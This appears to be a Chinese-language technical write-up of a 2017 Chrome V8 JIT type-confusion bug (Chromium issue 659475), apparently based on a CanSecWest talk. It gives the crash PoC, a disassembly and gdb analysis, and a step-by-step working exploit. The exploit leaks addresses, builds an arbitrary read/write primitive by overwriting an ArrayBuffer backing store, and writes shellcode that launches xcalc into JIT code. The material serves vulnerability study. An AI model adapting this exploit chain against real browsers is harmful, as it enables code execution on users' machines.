CanSecWest2017 Pwning Nexus of Every Pixel,Chrome v8部分漏洞利用详解

bugs

https://bugs.chromium.org/p/chromium/issues/detail?id=659475
https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6

poc

function Ctor() {
    n = new Set();
}

function Check() {
    n.xyz = 0x826852f4;
    parseInt('AAAAAAAA');
}

for(var i=0; i<2000; ++i) {
    Ctor();
}


for(var i=0; i<2000; ++i) {
    Check();
}

Ctor();
Check();
print("finish");

漏洞表现

Check

优化前

--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}

--- Code ---
0x35680eb86a00     0  55             push rbp
0x35680eb86a01     1  4889e5         REX.W movq rbp,rsp
0x35680eb86a04     4  56             push rsi
0x35680eb86a05     5  57             push rdi
0x35680eb86a06     6  488b4f2f       REX.W movq rcx,[rdi+0x2f]
0x35680eb86a0a    10  488b490f       REX.W movq rcx,[rcx+0xf]
0x35680eb86a0e    14  83411b01       addl [rcx+0x1b],0x1
0x35680eb86a12    18  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86a19    25  7305           jnc 32  (0x35680eb86a20)
0x35680eb86a1b    27  e8c0bef5ff     call StackCheck  (0x35680eae28e0)    ;; code: BUILTIN
0x35680eb86a20    32  48b80000000002000000 REX.W movq rax,0x200000000
0x35680eb86a2a    42  e8b1d9ffff     call 0x35680eb843e0     ;; code: LOAD_GLOBAL_IC
0x35680eb86a2f    47  50             push rax
0x35680eb86a30    48  48b8e9c362be00370000 REX.W movq rax,0x3700be62c3e9    ;; object: 0x3700be62c3e9 <Number: 2.18788e+09>
0x35680eb86a3a    58  5a             pop rdx
0x35680eb86a3b    59  48b919b062be00370000 REX.W movq rcx,0x3700be62b019    ;; object: 0x3700be62b019 <String[3]: xyz>
0x35680eb86a45    69  48bf0000000004000000 REX.W movq rdi,0x400000000
0x35680eb86a4f    79  e80cb8f0ff     call 0x35680ea92260     ;; code: STORE_IC
0x35680eb86a54    84  488b75f8       REX.W movq rsi,[rbp-0x8]
0x35680eb86a58    88  48b80000000008000000 REX.W movq rax,0x800000000
0x35680eb86a62    98  e879d9ffff     call 0x35680eb843e0     ;; code: LOAD_GLOBAL_IC
0x35680eb86a67   103  50             push rax
0x35680eb86a68   104  49ba112330abf6000000 REX.W movq r10,0xf6ab302311    ;; object: 0xf6ab302311 <undefined>
0x35680eb86a72   114  4152           push r10
0x35680eb86a74   116  49ba39b062be00370000 REX.W movq r10,0x3700be62b039    ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86a7e   126  4152           push r10
0x35680eb86a80   128  48ba0000000006000000 REX.W movq rdx,0x600000000
0x35680eb86a8a   138  488b7c2410     REX.W movq rdi,[rsp+0x10]
0x35680eb86a8f   143  b801000000     movl rax,0x1
0x35680eb86a94   148  e8a7ddffff     call 0x35680eb84840     ;; code: CALL_IC
0x35680eb86a99   153  488b75f8       REX.W movq rsi,[rbp-0x8]
0x35680eb86a9d   157  4883c408       REX.W addq rsp,0x8
0x35680eb86aa1   161  498b45a0       REX.W movq rax,[r13-0x60]
0x35680eb86aa5   165  48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9    ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86aaf   175  83430bd1       addl [rbx+0xb],0xd1
0x35680eb86ab3   179  791f           jns 212  (0x35680eb86ad4)
0x35680eb86ab5   181  50             push rax
0x35680eb86ab6   182  e8a5bdf5ff     call InterruptCheck  (0x35680eae2860)    ;; code: BUILTIN
0x35680eb86abb   187  58             pop rax
0x35680eb86abc   188  48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9    ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86ac6   198  49ba0000000000180000 REX.W movq r10,0x180000000000
0x35680eb86ad0   208  4c895307       REX.W movq [rbx+0x7],r10
0x35680eb86ad4   212  c9             leavel
0x35680eb86ad5   213  c20800         ret 0x8

优化后

--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}


--- Optimized code ---
optimization_id = 1
source_position = 50
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0x35680eb86c80     0  55             push rbp
0x35680eb86c81     1  4889e5         REX.W movq rbp,rsp
0x35680eb86c84     4  56             push rsi
0x35680eb86c85     5  57             push rdi
0x35680eb86c86     6  4883ec08       REX.W subq rsp,0x8
0x35680eb86c8a    10  488b45f8       REX.W movq rax,[rbp-0x8]
0x35680eb86c8e    14  488945e8       REX.W movq [rbp-0x18],rax
0x35680eb86c92    18  488bf0         REX.W movq rsi,rax
0x35680eb86c95    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86c9c    28  7305           jnc 35  (0x35680eb86ca3)
0x35680eb86c9e    30  e83dbcf5ff     call StackCheck  (0x35680eae28e0)    ;; code: BUILTIN
0x35680eb86ca3    35  48b8c1bd62be00370000 REX.W movq rax,0x3700be62bdc1    ;; object: 0x3700be62bdc1 PropertyCell for 0x18b675545e1 <a Set with map 0xae15ff0c391>
...
gdb-peda$ job $rax
0x288d1c42b999: [PropertyCell]
 - value: 0x28212078a219 <a Set with map 0x1fdb7e106509>
 - details: (data, dictionary_index: 138, attrs: [WE_])
 - cell_type: ConstantType (StableMap)
...
0x35680eb86cad    45  488b400f       REX.W movq rax,[rax+0xf] //取出JSSet n
...
gdb-peda$ job $rax
0x28212078a219: [JSSet]
 - map = 0x1fdb7e106509 [FastProperties]
 - prototype = 0x288d1c415e49
 - elements = 0x2089c5182241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0x28212078a239 <FixedArray[13]>
 - properties = {
 }
...
0x35680eb86cb1    49  49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x35680eb86cbb    59  c4c1f96ec2     vmovq xmm0,r10
...
0x41e04d0a5e800000 --d2ull-> 0x00000000826852f4
...
0x35680eb86cc0    64  488b4007       REX.W movq rax,[rax+0x7] // 取n的自定义属性数组
...
0x0000393bb3086cc4 in ?? ()
gdb-peda$ job $rax
0x2089c5182241: [FixedArray]
 - length: 0
gdb-peda$ x/20gx 0x28212078a219-1
0x28212078a218: 0x00001fdb7e106509  0x00002089c5182241
0x28212078a228: 0x00002089c5182241  
...
0x35680eb86cc4    68  488b400f       REX.W movq rax,[rax+0xf] // 取n的xyz域
// 因为当JSSet对象n进行初始化时,由于尚没有其他的自定义属性存在,因此该位置将使用内置对象empty_fixed_array进行初始化。
// 让我们看一下empty_fixed_array
0x2089c5182240: 0x000007f3e4882309->FIXED_ARRAY_TYPE Map    0x0000000000000000
0x2089c5182250: 0x000007f3e4882361->initial_string map  0x00000000803b1506
0x2089c5182260: 0x0000000400000000  0xdeadbeed6c6c756e
...
gdb-peda$ job $rax
0x7f3e4882361: [Map]
 - type: ONE_BYTE_INTERNALIZED_STRING_TYPE
 - instance size: 0
 - elements kind: FAST_HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x2089c5182311 <undefined>
 - instance descriptors (own) #0: 0x2089c5182231 <FixedArray[0]>
 - layout descriptor: 0
 - prototype: 0x2089c5182201 <null>
 - constructor: 0x2089c5182201 <null>
 - code cache: 0x2089c5182241 <FixedArray[0]>
 - dependent code: 0x2089c5182241 <FixedArray[0]>
 - construction counter: 0
...
0x35680eb86cc8    72  c5fb114007     vmovsd [rax+0x7],xmm0 //重新赋值,破坏了initial_string map的结构,于是在后面ParseInt字符串的时候会crash
...
对比一下赋值前后
前:
gdb-peda$ x/20gx 0x7f3e4882361-1
0x7f3e4882360:  0x000007f3e4882259  0x0019000400007300
0x7f3e4882370:  0x00000000082003ff  0x00002089c5182201
后:
gdb-peda$ x/20gx 0x7f3e4882361-1
0x7f3e4882360:  0x000007f3e4882259  0x41e04d0a5e800000-->破坏了map结构
0x7f3e4882370:  0x00000000082003ff  0x00002089c5182201
...
0x35680eb86ccd    77  49ba112330abf6000000 REX.W movq r10,0xf6ab302311    ;; object: 0xf6ab302311 <undefined>
0x35680eb86cd7    87  4152           push r10
0x35680eb86cd9    89  49ba39b062be00370000 REX.W movq r10,0x3700be62b039    ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86ce3    99  4152           push r10
0x35680eb86ce5   101  48bf51d860be00370000 REX.W movq rdi,0x3700be60d851    ;; object: 0x3700be60d851 <JS Function parseInt (SharedFunctionInfo 0xf6ab33ce11)>
0x35680eb86cef   111  488b75e8       REX.W movq rsi,[rbp-0x18]
0x35680eb86cf3   115  488b7727       REX.W movq rsi,[rdi+0x27]
0x35680eb86cf7   119  498b55a0       REX.W movq rdx,[r13-0x60]
0x35680eb86cfb   123  b801000000     movl rax,0x1
0x35680eb86d00   128  bb02000000     movl rbx,0x2
0x35680eb86d05   133  e8f6eeefff     call ArgumentsAdaptorTrampoline  (0x35680ea85c00)    ;; code: BUILTIN
0x35680eb86d0a   138  48b8112330abf6000000 REX.W movq rax,0xf6ab302311    ;; object: 0xf6ab302311 <undefined>
0x35680eb86d14   148  488be5         REX.W movq rsp,rbp
0x35680eb86d17   151  5d             pop rbp
0x35680eb86d18   152  c20800         ret 0x8
0x35680eb86d1b   155  90             nop

结论

据此,我们可以得出结论,在JIT优化之后,会直接从n中取出直接取出自定义属性数组中,对应于某属性偏移的字段,而不做任何合法性校验。

exploit

test

function Check() {
    n.xyz = 3.4766863919133141e-308;    // do not modify string map 
    n.xyz1 = 0x1821923f                 // do not modify hash value
    n.xyz2 = 0x7000                 // enlarge length of builtIn string 'null'
}
0x1c4269306d80     0  55             push rbp
0x1c4269306d81     1  4889e5         REX.W movq rbp,rsp
0x1c4269306d84     4  56             push rsi
0x1c4269306d85     5  57             push rdi
0x1c4269306d86     6  4883ec08       REX.W subq rsp,0x8
0x1c4269306d8a    10  488b45f8       REX.W movq rax,[rbp-0x8]
0x1c4269306d8e    14  488945e8       REX.W movq [rbp-0x18],rax
0x1c4269306d92    18  488bf0         REX.W movq rsi,rax
0x1c4269306d95    21  493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x1c4269306d9c    28  7305           jnc 35  (0x1c4269306da3)
0x1c4269306d9e    30  e83dbbf5ff     call StackCheck  (0x1c42692628e0)    ;; code: BUILTIN
0x1c4269306da3    35  48b8d9b9fadec60a0000 REX.W movq rax,0xac6defab9d9    ;; object: 0xac6defab9d9 PropertyCell for 0x3b0974d0a4b9 <a Set with map 0x30613ee86509>
0x1c4269306dad    45  488b400f       REX.W movq rax,[rax+0xf] //取出JSSet n
0x1c4269306db1    49  49ba0064000004001900 REX.W movq r10,0x19000400006400
0x1c4269306dbb    59  c4c1f96ec2     vmovq xmm0,r10
0x1c4269306dc0    64  488b5807       REX.W movq rbx,[rax+0x7] // 取n的自定义属性数组
0x1c4269306dc4    68  488b5b0f       REX.W movq rbx,[rbx+0xf] // 取n的xyz域,注意取域的时候,如果这个域代表的意义是一个整数值,就直接写入,如果代表的是一个指针,就要从指针再寻址写入。
0x1c4269306dc8    72  c5fb114307     vmovsd [rbx+0x7],xmm0
0x1c4269306dcd    77  488b5807       REX.W movq rbx,[rax+0x7] // 取n的自定义属性数组
0x1c4269306dd1    81  c7431b3f922118 movl [rbx+0x1b],0x1821923f // 取n的xyz1域,注意这里要用一个整形数去完整替换,不然会变成一个HeapNum指针,而这个指针是可能访问到不能访问的内存,从而crash
0x1c4269306dd8    88  488b4007       REX.W movq rax,[rax+0x7] // 取n的自定义属性数组
0x1c4269306ddc    92  c7402300700000 movl [rax+0x23],0x7000 // 取n的xyz1域
...
最终
gdb-peda$ x/20gx $rax-1
0x3067ec802240: 0x000025b0e3582309  0x0000000000000000
0x3067ec802250: 0x000025b0e3582361->xyz 0x1821923f->xyz1  803b1506
0x3067ec802260: 0x00007000->xyz2 00000000   0xdeadbeed6c6c756e
...
0x1c4269306de3    99  48b8112380ec67300000 REX.W movq rax,0x3067ec802311    ;; object: 0x3067ec802311 <undefined>
0x1c4269306ded   109  488be5         REX.W movq rsp,rbp
0x1c4269306df0   112  5d             pop rbp
0x1c4269306df1   113  c20800         ret 0x8

字符串类型

0x2b753502250:  0x00003182a4182361->null    0x00000000803b1506
0x2b753502260:  0x00000004->length 00000000 0xdeadbeed 6c6c756e->"null"
0x2b753502270:  0x00003182a4182361->object  0x00000000c5f6c42a
0x2b753502280:  0x0000000600000000->length  0xdead 7463656a626f->"object"
...
gdb-peda$ job 0x2b753502251
#null
gdb-peda$ job 0x2b753502271
#object

JSFunction

  • 表示JavaScript function的对象

    • 继承Object, HeapObject, JSReceiver, JSObject
      • 内存结构如下(在64位环境的情况下)
  • 实际演示

    • 存放function f()在数组中
    • 用0xdeadbee查找这个数组的内存位置

    • kCodeEntryOffset is a pointer to the JIT code (RWX area), many strategies to realize arbitrary code execution by writing shellcode before this

JSArrayBuffer

ArrayBuffer and TypedArray

  • Originally ArrayBuffer
    • 一个可以直接从JavaScript访问内存的特殊数组
      • 但是,ArrayBuffer仅准备一个内存缓冲区
      • BackingStore——可以使用TypedArray指定的类型读取和写入该区域,例如作为原始数据数组访问的8位或32位内存
      • 为了实际访问,有必要一起使用TypedArray或DataView
    • 使用例子 (TypedArray版本)
      • 创建方法1,仅指定长度,初始化为零
        t_arr = new Uint8Array(128) //ArrayBuffer被创建在内部
      • 创建方法2,使用特定值初始化
        t_arr = new Uint8Array([4,3,2,1,0]) //ArrayBuffer被创建在内部
      • 创建方法3,事先构建缓冲区并使用它
        arr_buf = new ArrayBuffer(8);
        t_arr1 = new Uint16Array(arr_buf); //创建一个Uint16数组
        t_arr2 = new Uint16Array(arr_buf, 0, 4); //或者,您也可以指定数组的开始和结束位置
    • ArrayBuffer可以在不同的TypedArray之间共享
      • 它也可以用于double和int的类型转换
        • 类型转换的意义在于改变字节序列的解释,而不是转换
        • 就像C语言的Union
      • BackingStore——可以使用TypedArray指定的类型读取和写入该区域,例如作为原始数据数组访问的8位或32位内存
      • ①预先准备ArrayBuffer
        var ab = new ArrayBuffer(0x100);
      • ②向ArrayBuffer中写入一个Float64的值
        var t64 = new Float64Array(ab);
        t64[0] = 6.953328187651540e-310;//字节序列是0x00007fffdeadbeef
        -->当某些地址在V8上泄露时,通常在大多数情况下被迫将其解释为双精度值,为了正确计算偏移量等,需要将其转换为整数值。 对于完成该转换,ArrayBuffer是最佳的
      • ③从ArrayBuffer读取两个Uint32
        var t32 = new Uint32Array(ab);
        k = [t32[1],t32[0]]
        -->k是6.953328187651540e-310,将字节序列按照4个字节去分开,然后解释为Uint32,于是得到:
        k=[0x00007fff,0xdeadbeef]

JSArrayBuffer

  • 持有ArrayBuffer的对象
    • 继承Object,HeapObject,JSReceiver,JSObject
      • 内存结构如下(在64位环境的情况下)
  • 实际演示
    • 存放TypedArray
    • 使用长度0x13370搜索ArrayBuffer的内存位置
    • 在V8中,对象通常被存放在由GC管理的mapped区域,然而BackingStore是一个不被GC管理的区域,并且被存放在heap中(在图中,可以看到malloc块有prev_size和size成员)
      此外,由于它不是由GC管理的HeapObject,因此指向BackingStore的指针不是Tagged Value(末尾不能为1)
    • 虽然在ArrayBuffer中描述了大小,但如果将此值重写为较大的值,则可以允许读取和写入的长度,超出BackingStore数组的范围。
    • 同样,如果您可以重写BackingStore指针,则可以读取和写入任意内存地址,这些是在exploit中常用的方法。

工具类准备

主要是用于double和int值的转换

// int->double
// d2u(intaddr/0x100000000,intaddr&0xffffffff)
function d2u(num1,num2){
    d = new Uint32Array(2);
    d[0] = num2;
    d[1] = num1;
    f = new Float64Array(d.buffer);
    return f[0];
}
// double->int
// u2d(floataddr)
function u2d(num){
    f = new Float64Array(1);
    f[0] = num;
    d = new Uint32Array(f.buffer);
    return d[1] * 0x100000000 + d[0];
}

leak ArrayBuffer和Function

  1. 触发漏洞,越界写null string的长度,写null string的value字段为obj
  2. charCodeAt读出null string的value内容,从而leak出来
    var ab = new ArrayBuffer(0x200);
    var n;
    ...
    function Ctor() {
     n = new Set();  
    }
    function Check(obj){
     n.xyz = 3.4766863919152113e-308; // do not modify string map
     n.xyz1 = 0x0; // do not modify the value
     n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
     n.xyz3 = obj; // leak the Object 
    }
    ...
    Ctor(); // 初始化n
    Check(ab); //写入ArrayBuffer到value字段
    // gdb-peda$ x/10gx 0x28767ae02240
    // 0x28767ae02240:  0x0000083475082309  0x0000000000000000
    // 0x28767ae02250:  0x0000083475082361  0x00000000803b1506
    // 0x28767ae02260:  0x0000700000000000  0x000004ea79906839->ArrayBuffer
    // 0x28767ae02270:  0x0000083475082361  0x00000000c5f6c42a
    // 0x28767ae02280:  0x0000000600000000  0xdead7463656a626f
    // gdb-peda$ job 0x000004ea79906839
    // 0x4ea79906839: [JSArrayBuffer]
    //  - map = 0x3bcf5fc82db1 [FastProperties]
    //  - prototype = 0xb3e9b805599
    //  - elements = 0x28767ae02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
    //  - internal fields: 2
    //  - backing_store = 0x55ba589d0640
    //  - byte_length = 512
    //  - properties = {
    //  }
    //  - internal fields = {
    //     0
    //     0
    //  }
    var str = new String(null);
    var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
    print("0x"+ab_addr.toString(16));
    
    同理,leak出function

写null string的地址到它自己的value,从而可以通过写value来再次修改null string

这里为什么要这么做呢,原因其实在test里已经可以看到的,如果我们写一个smi到一个属性字段,当然可以直接写到该属性字段对应的偏移。
也就是如图xyz1,我直接写入了一个0x1821923f的smi,注意smi最大是多少呢,在64位和32位有所不同。
在64位平台上V8对smi定义的范围是[-2³¹,2³¹-1],即最大0x7fffffff,显然一个对象的地址会大于它,从而无法直接去写一个地址到该属性字段对应的偏移。

gdb-peda$ x/20gx $rax-1
0x3067ec802240: 0x000025b0e3582309  0x0000000000000000
0x3067ec802250: 0x000025b0e3582361->xyz 0x1821923f->xyz1  803b1506
0x3067ec802260: 0x00007000->xyz2 00000000   0xdeadbeed6c6c756e

所以我们要写null string的地址到它自己的value,从而可以通过写value来再次修改null string。

Check(String(null));
// gdb-peda$ x/20gx $rbx-1
// 0x3817fa502240:  0x00003bd6a4382309  0x0000000000000000
// 0x3817fa502250:  0x00003bd6a4382361  0x00000000803b1506
// 0x3817fa502260:  0x0000700000000000  0x00003817fa502251->null string
// gdb-peda$ job 0x00003bd6a4382361
// 0x3bd6a4382361: [Map]
//  - type: ONE_BYTE_INTERNALIZED_STRING_TYPE
//  - instance size: 0
//  - elements kind: FAST_HOLEY_ELEMENTS
//  - unused property fields: 0
//  - enum length: invalid
//  - stable_map
//  - back pointer: 0x3817fa502311 <undefined>
//  - instance descriptors (own) #0: 0x3817fa502231 <FixedArray[0]>
//  - layout descriptor: 0
//  - prototype: 0x3817fa502201 <null>
//  - constructor: 0x3817fa502201 <null>
//  - code cache: 0x3817fa502241 <FixedArray[0]>
//  - dependent code: 0x3817fa502241 <FixedArray[0]>
//  - construction counter: 0

修改null string的hash字段为ArrayBuffer的length地址

这里我再次提醒一下为什么要写入这个地址。
之前我们说了,如果写一个smi,可以直接写入,但是如果要写入的数值大于smi,会把该属性字段的值当成一个指针,然后将这个数值写入到那个内存里。
就比如,我向null string的map字段(对应于n.xyz)写一个非SMI进去.
double类型的3.4766863919152113e-308等于int类型的0x0019000400007300

function Check(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
    n.xyz = 3.4766863919152113e-308; // do not modify string map
    n.xyz1 = 0x0; // do not modify the value
    n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
    n.xyz3 = obj; // leak the Object addr
}
...
...
gdb-peda$ x/20gx 0x33e606b02241-1
0x33e606b02240: 0x0000081f59a02309  0x0000000000000000
0x33e606b02250: 0x0000081f59a02361->n.xyz   0x00000000803b1506
0x33e606b02260: 0x0000700000000000  0x000017f1e8c36fe96f

gdb-peda$ x/20gx 0x0000081f59a02361-1
0x81f59a02360:  0x0000081f59a02259  0x0019000400007300->被写入的3.4766863919152113e-308即0x0019000400007300
0x81f59a02370:  0x00000000082003ff  0x000033e606b02201
var m;
...
function Ctor2() {
    m = new Map();  
}
function Check2(addr){
    // Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
    m.xyz = 3.4766863919152113e-308;    // do not modify string map
    m.xyz1 = 0x0                 // do not modify the value
    m.xyz2 = 0x7000         // enlarge length of builtIn string 'null'
    m.xyz3 = addr
}
Check2(ab_len_ptr_float);
// 0x3817fa502250:  0x00003bd6a4382361  0x0000108ed87359d9->ArrayBuffer length的地址
// 0x3817fa502260:  0x0000700000000000  0x00003817fa502251->null string
// gdb-peda$ x/20gx 0x108ed87359c1-1
// 0x108ed87359c0:  0x00002d714c002db1  0x000037191c982241
// 0x108ed87359d0:  0x000037191c982241  0x0000020000000000->length
// 0x108ed87359e0:  0x000055ba589d0640->BackingStore

所以说为了写入一个地址到ArrayBuffer的BackingStore,首先将BackingStore向前减去8个字节的地址即length地址写入到hash字段。

向null string的hash字段写入任意值,得到任意地址读写的原语

类似于我们上面写map一样,将[length_addr+0x8]即backingstore给覆盖成我们想要写入的内容。
在v8里,只要你能修改backingstore的值,就可以进行任意地址读写
于是就有了一个任意地址读写的原语。

于是我们先将func_addr写到backingstore,读到函数真正执行时候的code地址

var l;
function Ctor3() {
    l = new ArrayBuffer();
}
function Check3(addr){
    // Oob write empty_Fixed_Array, str length will be treat as a number pointer 
    l.xyz = 3.4766863919152113e-308;    // do not modify string map
    l.xyz1 = addr             
}
Ctor3();
Check3(func_addr_float);
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));
// gdb-peda$ job 0x108ed87359c1
// 0x108ed87359c1: [JSArrayBuffer]
//  - map = 0x2d714c002db1 [FastProperties]
//  - prototype = 0x108ed8705599
//  - elements = 0x37191c982241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
//  - internal fields: 2
//  - backing_store = 0x108ed8735a00->已经被改成了Function的地址
//  - byte_length = 512
//  - properties = {
//  }
//  - internal fields = {
//     0
//     0
//  }
// gdb-peda$ x/20gx 0x108ed87359c1-1
// 0x108ed87359c0:  0x00002d714c002db1  0x000037191c982241
// 0x108ed87359d0:  0x000037191c982241  0x0000020000000000
// 0x108ed87359e0:  0x0000108ed8735a00->已经被改成了Function的地址   0x0000000000000004
// 0x108ed87359f0:  0x0000000000000000  0x0000000000000000

// gdb-peda$ x/20gx 0x0000108ed8735a01-1
// 0x108ed8735a00:  0x00002d714c0040f1  0x000037191c982241
// 0x108ed8735a10:  0x000037191c982241  0x000037191c982351
// 0x108ed8735a20:  0x0000108ed872d849  0x0000108ed8703951
// 0x108ed8735a30:  0x000037191c984b21  0x000016396d105e00-->shellcode_addr_float[7]
...
// gdb-peda$ job 0x0000108ed8735a01
// 0x108ed8735a01: [Function]
//  - map = 0x2d714c0040f1 [FastProperties]
//  - prototype = 0x108ed87040b9
//  - elements = 0x37191c982241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
//  - initial_map = 
//  - shared_info = 0x108ed872d849 <SharedFunctionInfo>
//  - name = 0x37191c982471 <String[0]: >
//  - formal_parameter_count = 0
//  - context = 0x108ed8703951 <FixedArray[235]>
//  - literals = 0x37191c984b21 <FixedArray[1]>
//  - code = 0x16396d105da1 <Code: FUNCTION>

再将取得的函数真正执行时候执行的函数地址,写入到backingstore,从而通过它进行任意地址写,写入我们的shellcode

Check3(shellcode_addr_float);
// pop /usr/bin/xcalc
var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;

然后再执行这个被我们改了内容的函数,就可以弹计算器了。

evil_f();

参考链接

https://www.jianshu.com/p/0326d382f5f9
https://www.slideshare.net/CanSecWest/qidan-hegengming-liucansecwest2017

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖